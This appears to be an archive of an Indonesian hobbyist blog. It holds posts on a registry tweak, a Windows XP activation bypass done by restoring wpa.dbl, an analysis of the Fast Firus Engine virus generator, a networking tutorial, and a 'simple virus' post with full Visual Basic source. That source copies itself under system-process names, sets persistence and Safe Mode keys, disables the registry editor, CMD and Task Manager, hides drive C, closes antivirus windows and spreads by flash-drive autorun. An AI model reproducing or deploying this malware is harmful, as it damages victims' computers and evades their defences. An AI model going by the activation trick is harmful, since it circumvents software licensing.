Showing posts with label Komputer. Show all posts
Showing posts with label Komputer. Show all posts

Jan 13, 2009

Membuat Ekstensi File Application Baru

Virus-virus lokal/asing makin hari makin mengganas. sampai-sampai, seluruh file aplikasi yang bersifat standalone juga menjadi incaran virus-virus lokal/asing. Seperti *.exe, *.scr, *.vbs, dan lainya. Beberapa virus lokal mengalihkan beberapa file executable ke induk virus tersebut/Notepad.exe. Jadi ketika membuka file, misal : regedit/msconfig, maka yang terbuka adalah Notepad dengan bahasa-bahasa mesinnya (yang ternyata merupakan file regedit.exe/msconfig.exe yang dibuka menggunakan Notepad.exe). Atau beberapa virus lokal yang mengalihkan beberapa ekstensi tersebut ke induk virus.

Hal ini benar-benar terasa apabila kita menggunakan Anti-virus yang menggunakan ekstensi *.exe. Ketika virus tersebut menyebar dan mengotak-atik registry serta membuat string untuk mengalihkan file executable ke induk virus, maka ketika kita membuka anti-virus tersebut, secara tidak langsung memanggil virus tersebut.

Tapi kita bisa mensiasatinya dengan membuat ekstensi baru yang kira-kira hampir tidak mungkin diserang oleh virus. Karena secara garis besar virus berekstensi *.exe, *.scr, *.vbs, dll yang sudah sangat familiar dengan kita.

Caranya :


1. Buka Notepad, dan masukkan data berikut :

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.dewaphobia]
@="exefile"
"Content Type"="application/x-msdownload"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.dewaphobia\PersistentHandler]
@="{098f2470-bae0-11cd-b579-08002b30bfeb}"


lalu save as dengan tipe all files, dengan nama file "dewaphobia.reg" (tanpa tanda petik).

2. Buka file "dewaphobia.reg" dengan cara klik kanan, Merge, Yes.
3. Restart komputer.
lalu save as dengan tipe all files, dengan nama file "dewaphobia.reg" (tanpa tanda petik).

3. Buka file ".dewaphobia.reg" dan "dewaphobia.reg" dengan cara klik kanan, Merge, Yes.
4. Restart komputer.

Catatan: kata dewaphobia pada value dan string bisa Anda ganti sesuai dengan keinginan.

Untuk membuktikan, coba rename Antivirus Lokal, misal : "PCMAV-CLN.exe" menjadi "PCMAV-CLN.dewaphobia", dan jalankan file "PCMAV-CLN.dewaphobia" tersebut tanpa tanda petik).

Selamat mencoba.


Aktifasi windows trial version tanpa koneksi internet

Sumber dan Info Lengkap :Domoagre’s Weblog

Windows trial version
Selama ini sering kita mendapat windows xp trial version atau biasa minta aktifasi dan selama 30 hari bila tidak ada aktifasi windows tidak dapat di akses lagi. Untuk mengaktifkan windows, komputer harus terhubung dengan internet dan itu memerlukan biaya yang lumayan bila internet yang digunakan adalah modem ponsel, tapi jangan kawatis disini ada trik untuk mengatasinya membuat windows trial yang anda miliki bisa berjalan selamanya tanpa meminta aktifasi lagi.
Lakukan langkah-langkah berikut:

1. Jalankan windows explorer.
2. Buatlah folder baru di disc selain yang anda gunakan untuk windows, misal di disc D-”backup”.
3. Masuk ke disc dimana windows anda berada, misal C, lalu cari “windows” dan temukan “system32″.
4. Cari file yang bernama “wpa.dbl”.
5. Salin/copy “wpa.dbl” tersebut ke folder baru yang anda buat tadi, misal D-backup.

Instal ulang windows anda sampai selesai

6. Restrart komputer anda dan tekan F8 sesaat sebelum komputer masuk ke system operasi windows.
7. Lalu pilih “safe mode”.
8. Masuklah ke folder yang baru anda buat tadi “backup”, lalu salin kembali data “wpa.dbl” ke disc C-windows-system32. Bila ada pemberitahuan bahwa data sudah ada klik aja yes untuk mereplaces data.
9. Restart windows anda sekali lagi, dan windows anda tak lagi minta aktifasi, bisa digunakan selamanya.

Penting: Pastikan perangkat keras yang anda gunakan tidak ada yang berubah selama sebelum dan sesudah anda meng instal ulang windows. Jika anda menambah atau mengurangi perangkat keras komputer trik ini tidak akan berfungsi.


Membuat Virus dalam Sekejap

Membuat Virus dalam Sekejap

Info & info lengkap : PC Media

Masih ingat dengan virus Aksika? Virus “open source” yang satu itu memang memiliki banyak sekali varian. Tidak heran karena source code-nya memang disedia kan bebas di Internet, jadi siapapun dapat dengan mudah mengubah dan meng-compile source code-nya dan jadilah varian baru.


Berawal dari kemudahan itulah, banyak virus maker ataupun programer pemula mencoba–coba untuk membuat virus tanpa perlu repot. Paling yang dibutuhkan hanyalah pengetahuan seputar operating system dan programming.

Namun kemudahan itu belum seberapa, bila dibandingkan dengan menggunakan program Virus Generator. Dari namanya saja, kita sudah dapat mengira kegunaan dari program tersebut. Ya, Virus Generator merupakan program untuk dapat membuat virus secara mudah dan instan.
Bermula dari sampel sebuah virus yang lumayan banyak dikirimkan oleh pembaca kepada kami. PC Media Antivirus mengenalnya dengan nama Gen.FFE-Fajar, namun antivirus lain ada juga yang menyebutnya dengan nama Brontok.D. Dengan penyelidikan sederhana akhirnya diketahui bahwa virus tersebut dibuat menggunakan Virus Generator.

Fast Firus Engine (FFE) - DOWNLOAD
Pembuat Generator tersebut menamakan program buatannya itu dengan nama Fast Firus Engine. Seperti yang terlihat pada program ataupun situs pembuatnya, ia memberitahukan bahwa program ini hanya untuk tujuan pembelajaran dan tidak untuk tindakan merusak. Namun tetap saja, bila program ini sudah jatuh ke tangan yang salah, pasti akan digunakan untuk pengrusakan.

Virus Generator ini dibuat menggunakan bahasa Visual Basic dan di-compress menggunakan packer tELock. Dalam paketnya terdapat dua buah file, yakni Fast Firus Engine.exe dan data.ex_. Fast Firus Engine. exe merupakan program utama dalam pembuatan virusnya dan sementara file data.ex_ sebenarnya merupakan badan virus asli yang belum dimodifikasi.


Saat file Fast Firus Engine.exe dijalankan, maka pengguna akan dihadapkan pada sebuah interface. Anda hanya disuruh mengisikan nama virus, nama pembuat, dan pesan-pesannya. Lalu dengan menekan tombol Generate, maka jadilah virus Anda.

Cara kerja dari Generator tersebut sebenarnya sangat sederhana. Ia hanya menambahkan data yang Anda masukkan tadi ke bagian akhir file virus asli (data.ex_). Nantinya informasi tersebut digunakan oleh virus dalam proses infeksi.

Bagaimana Virus Menginfeksi?
Virus hasil ciptaan FFE memang terlihat sederhana. Sama seperti Generatornya, ia juga dibuat menggunakan bahasa Visual Basic yang di-compile dengan metode Native- Code. Lalu di compress menggunakan tELock agar ukurannya semakin kecil. Virus ini memiliki ukuran tubuh asli sebesar 55.296 bytes.

Saat virus kali pertama dieksekusi, ia akan membuat beberapa file induk di beberapa lokasi. Seperti di direktori \%WINDOWS%\, akan terdapat file dengan nama.exe, Win32 exe, activex.exe, dan %virusname% (nama virus sesuai yang diisikan oleh sang pembuatnya pada Generator). Di \%WINDOWS%\ %system32%\ akan terdapat file copy.pif, _default.pif, dan surif.bin. Selain itu, ia juga mengubah atau membuat file Oeminfo.ini yang merupakan bagian dari System Properties. Jadi apabila komputer Anda terinfeksi oleh virus hasil generate dari FFE, maka pada System Properties akan terdapat tulisan “Generated by Fast Firus Engine”.

Di direktori \%WINDOWS%\%System%\ akan terdapat beberapa file induk lagi yang menggunakan nama yang sama seperti file system milik Windows, seperti csrss.exe, winlogon.exe, lsass.exe, smss.exe, svchost. exe, dan winlogon.exe.

Dan tak lupa, pada root drive pun akan terdapat file dengan nama “baca euy.txt” yang berisikan pesan–pesan dari si pembuat virus. Jadi pada saat membuat virus dengan menggunakan Generator tersebut, maka pembuatnya akan disuguhkan beberapa kotak input, seperti Author of the virus, Name of the virus, dan Messages. Nah, isi dari kotak messages ini yang nantinya ditampilkan pada file “baca euy.txt” tersebut.

Setelah virus berhasil meng-copy-kan file induknya ke dalam sistem tersebut, ia akan menjalankan file induk tadi, sehingga pada memory akan terdapat beberapa process virus, seperti csrss.exe, winlogon.exe, lsass. exe, smss.exe, svchost.exe, dan winlogon.exe. Nama process yang mirip dengan process/services milik Windows tersebut mungkin sengaja untuk mengecoh user. Untuk membedakannya, Anda dapat melihat path atau lokasi process tersebut dijalankan. Process virus ini biasanya berjalan di direktori System sementara process/services milik Windows yang running biasanya berasal dari direktori System32.

Mengubah Registry
Virus ini menambahkan beberapa item startup pada registry agar pada saat memulai Windows ia dapat running secara otomatis atau untuk mengubah setting-an Windows agar sesuai keinginannya. Informasi mengenai registry yang diubahnya tidak akan dapat dengan mudah kita lihat karena dalam kondisi terenkripsi.

Yang ia ubah adalah seperti nilai dari item Userinit, yakni dengan menambahkan parameter ke file induk. Pada key HKEY_CURRENT_ USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load juga akan diubah itemnya agar mengarah ke file induknya dengan nama Activex.exe. Pada HKEY_CURRENT_USER \Software\Microsoft\ Windows\CurrentVersion\Run\ akan terdapat item baru dengan nama present. Key HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run\ akan terdapat item baru juga dengan nama Default dan %username%, username di sini merupakan nama user yang sedang aktif saat itu.

Virus hasil generate dari FFE juga mengubah shell extension untuk file .exe, yakni dengan mengubah type information dari Application menjadi File Folder. Setting-an folder Options juga diubah agar tidak menampilkan extension dan setiap fi le dengan attribut hidden. Dan agar dapat aktif pada safe-mode, ia pun mengubah nilai dari item SafeBoot.

Dengan menggunakan bantuan registry Image File Execution Options, virus ini juga menambahkan item baru pada section tersebut dengan nama cmd.exe, msconfi g.exe, regedit.exe, dan taskmgr.exe. Maksudnya adalah agar setiap user yang mengakses program dengan nama file seperti itu, maka akan di-bypass oleh Windows dan dialihkan ke file induk si virus.

Bagaimana Virus Menyebar?
Virus ini dapat menyebar melalui media penyimpan data seperti flash disk. Saat Anda mencolokkan flash disk pada komputer yang terinfeksi, maka pada flash disk tersebut akan terdapat beberapa file baru, seperti explorer.exe, %virusname%.exe, dan msvbvm60.dll. Juga beberapa file pendukung seperti desktop.ini, autorun.inf agar ia dapat running otomatis pada saat mengakses flash disk tersebut.

File virus lainnya pun disimpan pada direktori baru di flash disk tersebut dengan nama Recycled yang berisikan file Firus.pif dan Folder.htt. Kesemua file virus tersebut dalam kondisi hidden sehingga tidak terlihat.

Virus Beraksi
Untuk dapat bertahan hidup, virus ini pun akan mencoba untuk memblok setiap program yang tidak ia inginkan seperti tools atau program antivirus termasuk PCMAV. Sama seperti halnya data registry yang diubah, data mengenai program apa saja yang diblok olehnya juga terdapat dalam tubuhnya dalam kondisi terenkripsi.

Jadi, saat virus sudah stay di memory, ia akan memonitor setiap program yang diakses oleh user, yakni dengan membaca nama file dan juga caption Window. Beberapa nama file antivirus yang dicoba untuk dibloknya adalah nav.exe, avgcc.exe, njeeves.exe, ccapps.exe, ccapp.exe, kav.exe, nvcoas.exe, avp32.exe, dan masih banyak lagi yang lainnya. Termasuk beberapa program setup atau installer juga tidak dapat dijalankan pada komputer terinfeksi.

Source :
Arief Prabowo
dewaphobia.blogspot.com



Jan 4, 2009

Membuat Virus Sederhana

Tujuan pembuatan artikel ini hanya sekedar untuk menambah wawasan IT saja. Program kita kali ini adalah membuat Virus sederhana yaitu hanya mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word maka pada kertas tempat mengetik sudah muncul pesan dari Virus demikian pula jika membuka Excel maka pesan akan diberikan virus pada cell Excel. Sederhana sekali ya..ya memang virus ini tidak merusak dokumen/file-file dan tidak mengahpus file-file apapun jadi virus yang sangat baik hati..he..he..Jika anda ingin menambahkan fiture-fiture yang kejam silahkan saja tapi disini/virus ini tidak saya tuliskan bagaimana melakukan format atau delete file ataupun fiture penyusupan lainnya (sekarang belum saatnya).Silahkan dicoba dijamin 100% tidak ada data yang dihapus, ini hanya sebuah virus permainan saja kok..berani mencoba?
Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox
Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.

Masukan semua code di bawah ini pada form
==========================================
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'pencari Kleas dan Window Name Suatu File
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 'sendmessage
Private Declare Function GetDriveType& Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) ' penghandel flashdisk
Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long 'exit windows
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8

Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk

Private Sub Form_Load()
On Error Resume Next
'acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi
Randomize
Me.Caption = Int(Rnd * 2221189331445#) 'silahkan masukan angka sesuka anda
'menggandakan diri
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False 'virus tidak terlihat di task manager
InfeksiRegistry
End Sub

Sub BuatWord()
On Error Resume Next
Set obj = CreateObject("word.application")
Set doc = CreateObject("word.application")
Set doc = obj.Documents.Add
doc.Content = "VIRUS BERHASIL MENGINFEKSIMU - SALAM KENAL"
End Sub

Sub BuatXls()
On Error Resume Next
Set obj = CreateObject("excel.application")
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = "VIRUS BERHASIL MENGINFEKSIMU - SALAM KENAL"
End Sub

Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" & " """ & FolderMyDocuments & "\services.exe""" 'virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell", FolderFavorites & "\SalamKenal.exe" 'virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderTemplates & "\smss.exe" 'smss.exe berjalan pada saat startup
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderSendTo & "\System.exe" 'System.exe berjalan pada saat startup
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'search pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'Ssearch pd star menu hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\Control Panel\Colors\WindowText", "255 0 0", "REG_SZ" 'DEFAULT TEKS MENJADI MERAH
RegRun.regwrite "HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\", FolderFavorites & "\SalamKenal.exe" 'Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun", 1, "REG_DWORD" 'Autorun pada CD atau USB
End Sub

Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & "\Winlogon.exe") <> "Winlogon.exe" Then 'mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian
FileCopy FolderStartUp & "\Winlogon.exe", FlashDisk & "\Winlogon.exe"
SetAttr FlashDisk & "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub

Sub BuatFileAutorunInf()
'membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi
On Error Resume Next
Open FlashDisk & "\Autorun.Inf" For Output As 1
Print #1, "[AutoRun]"
Print #1, "Icon=Winlogon.exe" 'Agar FlashDisk Memiliki Icon Sama dengan Virus
Print #1, "Open=Winlogon.exe"
Print #1, "ShellExecute=Winlogon.exe"
Print #1, "Shell\Open\Command=Winlogon.exe"
Print #1, "Shell=Open"
Close #1
SetAttr FlashDisk & "\Autorun.Inf", vbHidden + vbSystem + vbReadOnly
End Sub

Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject("WScript.Shell")
FolderStartUp = RegRun.specialfolders("StartUp")
FolderMyDocuments = RegRun.specialfolders("MyDocuments")
FolderTemplates = RegRun.specialfolders("Templates")
FolderNetHood = RegRun.specialfolders("NetHood")
FolderPrintHood = RegRun.specialfolders("PrintHood")
FolderFavorites = RegRun.specialfolders("Favorites")
FolderSendTo = RegRun.specialfolders("SendTo")
FolderPrograms = RegRun.specialfolders("Programs")
On Error Resume Next
'membuat virus dengan nama winlogon.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderStartUp & "\WinLogon.Exe"
SetAttr FolderStartUp & "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama services.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderMyDocuments & "\services.Exe"
SetAttr FolderMyDocuments & "\services.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama smss.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderTemplates & "\smss.Exe"
SetAttr FolderTemplates & "\smss.Exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama csrss.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderPrintHood & "\csrss.Exe"
SetAttr FolderPrintHood & "\csrss.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama Isass.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderNetHood & "\Isass.Exe"
SetAttr FolderNetHood & "\Isass.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama SalamKenal.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderFavorites & "\SalamKenal.Exe"
SetAttr FolderFavorites & "\SalamKenal.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama System.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSendTo & "\System.Exe"
SetAttr FolderSendTo & "\System.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama ctfmon.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderPrograms & "\ctfmon.Exe"
SetAttr FolderPrograms & "\ctfmon.exe", vbHidden + vbSystem + vbReadOnly
End Sub

Private Sub Timer1_Timer() 'Timer 1 diberi interval 5 detik
On Error Resume Next
FWnd = FindWindow("OpusApp", "Document1 - Microsoft Word") 'Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow("OpusApp", "New Microsoft Word Document.doc - Microsoft Word") 'Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
FWnd = FindWindow("XLMAIN", "Microsoft Excel - Book1") 'ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow("XLMAIN", "Microsoft Excel - New Microsoft Excel Worksheet.xls") 'ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub

Private Sub Timer3_Timer()
On Error Resume Next
'menutup aplikasi yang berbahaya bagi virus
FWnd = FindWindow("#32770", "RUN") 'jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "System Configuration Utility") 'msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Windows Task Manager") 'task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Avira AntiVir Personal – Free Antivirus") 'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "AntiVir Guard: Attention, Detection!") 'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("RegEdit_RegEdit", vbNullString) 'regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("TMainForm", vbNullString) 'aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("TApplication", vbNullString) 'aplikasi buatan Delphi
SendMessage FWnd, WM_CLOSE, 0&, 0&
End Sub

Private Sub Timer4_Timer()
'cari flashdisk
On Error Resume Next
For i = 0 To Drive1.ListCount - 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a" Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False 'agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk
Exit For
End If
Next
GandaKeFlashDisk '
End Sub

Private Sub Timer5_Timer()
On Error Resume Next
InfeksiRegistry
'Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri
GandakefolderIstimewa
'menyalakan timer 4
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a" Then
Timer4.Enabled = True
End If
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub

Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub

Silahkan Download Project Di Download/Upload Gratis Join 4Shared Now!, Tetapi sebelumnya jika anda berkenan berikan rating pada artikel ini dengan mengklik tanda bintang di bawah ini, agar saya mengetahui artikel yang paling menarik untuk penulisan selanjutnya. Terimakasih.



Dec 15, 2008

Belajar Tentang Network Hardware

Untuk membangun sebuah jaringan atau network tentu dibutuhkan peralatan yang menunjang. Nah.. pada bagian keempat ini, kita akan membahas mengenai berbagai perangkat keras atau network hardware yang dibutuhkan untuk membuat jaringan komputer atau networking computer.
Dengan mengetahui paralatan apa saja yang dibutuhkan untuk membuat sebuah jaringan atau networking, tentu akan memudahkan kita untuk memperkirakan dan memperhitungkan berapa kira-kira biaya yang kita butuhkan untuk membuat jaringan atau networking yang kita inginkan.

Server
Perangkat keras atau hardware yang pertama yang kita butuhkan untuk membuat sebuah jaringan komputer adalah server. Kenapa server? Dan apakah dalam sebuah jaringan atau network sebuah server adalah hal yang wajib? Apakah tanpa server maka sebuah jaringan tidak akan berjalan? Dan seperti apakah server ini? Sabar ya.. nduk... bapak akan coba menjawabnya satu persatu...

Apa itu server? Server atau server computer yaitu komputer yang bertugas menjadi pelayan bagi komputer atau perangkat-perangkat yang terhubung dalam sebuah jaringan. Server bisa juga kita gambarkan sebagai induk dalam sebuah jaringan. Server mempunyai tugas mengatur dan mengelola berbagai resource atau sumberdaya yang terdapat dalam jaringan tersebut.

Server mempunyai tugas membagi-bagi rezeki kepada semua perangkat yang terhubung kedalam network. Untuk mudahnya begini nduk... misalnya kita akan membuat jaringan yang terdiri dari 2 PC dan 1 Printer. Kita kan ndak bisa nyolokin kabel printer ke masing-masing PC. Artinya, hanya ada satu PC yang terhubung langsung ke Printer. Katakanlah PC1 kita hubungkan secara langsung ke printer, dan PC 2 tidak secara langsung.

Nah.. itu berarti PC1 yang terhubung langsung inilah yang kita anggap sebagai server. Dia bertugas membagi printernya kepada PC2. PC2 yang tidak terhubung langsung ke printer biasa di sebut sebagai client. Saat si client (PC2) ingin mengakses printer, si client (PC2) tersebut akan menghubungi server (PC1) dan meminta ijin untuk mengakses ke printer. Saat permintaan tersebut diterima oleh si server, si server tadi akan mengatur dan menyiapkan segala sesuatunya agar permintaan sang client bisa terpenuhi.

Nah.. sekarang kita coba skenario lainnya. Katakanlah PC2 yang tidak terhubung secara langsung ke Printer tadi mempunyai akses ke internet. Sedangkan PC1 yang terhubung langsung ke printer atau yang tadi kita sebut server tidak mempunyai akses ke internet. Pertanyaannya sekarang? Bagaimana jika seandainya, umpamanya, andaikata... PC1 ingin bisa juga ke internet?

Yup... koe betul nduk... tentu saja PC1 tersebut bisa menggunakan PC2 untuk mengakses internet. Itu berarti... saat PC1 ingin mengakses internet, dia menghubungi PC2 dan minta ijin serta disediakan jalur untuk mengakses ke internet. Dan PC2 akan menyiapkan segala sesuatunya agar PC1 bisa juga internetan. Dalam kasus mengakses internet ini, berarti PC2 bertindak sebagai server dan PC1 bertindak sebagai client.

Bingung nduk? AKu yakin koe ndak bakalan bingung. Dalam kasus seperti ini berarti setiap PC bisa menjadi server. Setiap PC yang mempunyai resource atau sumberdaya bisa menjadi server sekaligus client. Hubungan seperti ini biasa disebut peer to peer.

Setiap PC bertanggung jawab mengelola resourcenya dan membagikannya kepada PC yang lain. PC manapun yang memberikan resourcenya dianggap sebagai server, dan PC yang mengakses ke resource PC lain disebut client. Jadi koe sekarang sudah mengerti toh.. apa yang dimaksud dengan hubungan Peer to Peer?

Untuk jaringan dalam skala yang kecil, hubungan seperti ini cukup efektif digunakan. However nduk, coba kamu bayangkan bagaimana seandainya satu printer ingin dibagikan digunakan oleh 1000 komputer. Tentu PC yang bertugas untuk melayani dan mengatur setiap permintaan tersebut akan merasa kerepotan. Apa lagi jika PC tersebut juga harus melayani usernya sendiri. Dalam artian, PC tersebut juga digunakan oleh User untuk kebutuhan lainnya.

Untuk lebih jelasnya begini, mungkin koe pernah atau sering main game multiplayer, yaitu game yang bisa dimainkan secara bersama-sama di dalam sebuah jaringan, contohnya game CounterStrike. Nah.. game-game seperti ini nduk, biasanya memerlukan dua jenis pemain, yaitu Host atau yang bertindak sebagai tuan rumah atau bisa juga disebut server, dan client.

PC yang bertindak sebagai Host atau server bertugas menerima setiap permintaan client. Misalnya, mengupdate setiap pergerakan dan posisi client di dalam peta, dll. Selain itu dia juga harus melayani pemain yang bermain secara langsung di PC tersebut. Itu berarti PC yang menjadi server harus melayani dua permintaan secara sekaligus, yaitu dari client dan dari dirinya sendiri. Sedangkan PC client hanya melayani permintaan dari dirinya sendiri.

